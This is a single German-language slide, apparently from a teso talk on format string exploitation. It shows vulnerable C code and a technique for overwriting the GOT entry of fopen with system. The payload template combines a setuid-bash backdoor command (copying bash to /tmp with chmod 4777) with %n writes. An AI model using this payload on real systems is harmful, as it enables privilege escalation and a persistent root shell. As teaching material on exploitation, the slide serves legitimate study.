| (c) teso. all rights reversed. | ||
| exploiting format string vulnerabilities - Return into LibC | ||
|
Manchmal gibt es einen noch direkteren Weg zum Ziel:
FILE * f;
char foobuf[512];
snprintf (foobuf, sizeof (foobuf), user);
foobuf[sizeof (foobuf) - 1] = '\0';
f = fopen (foobuf, "r");
Warum nicht einfach den GOT Eintrag von "fopen" mit dem von
"system" überschreiben, und einen Format-String der Art:
"/bin/sh -c \"cd /tmp;cp /bin/bash .;chmod 4777 bash;exit;\""
"<stackpop>%16u%n%16u%n%32u%n%64u%n"
verwenden ? Direkter gehts nicht :-)Denn beim Aufruf von "fopen", wird in Wirklichkeit "system" aufgerufen, und zwar (wenn alles korrekt lief) mit einem Pointer auf unseren Buffer, der die Shell ausführt: system ("/bin/sh -c ....."). Alternativ kann man in die LibC returnen, wie schon angesprochen [1]. | ||
| << - < - > - >> | ||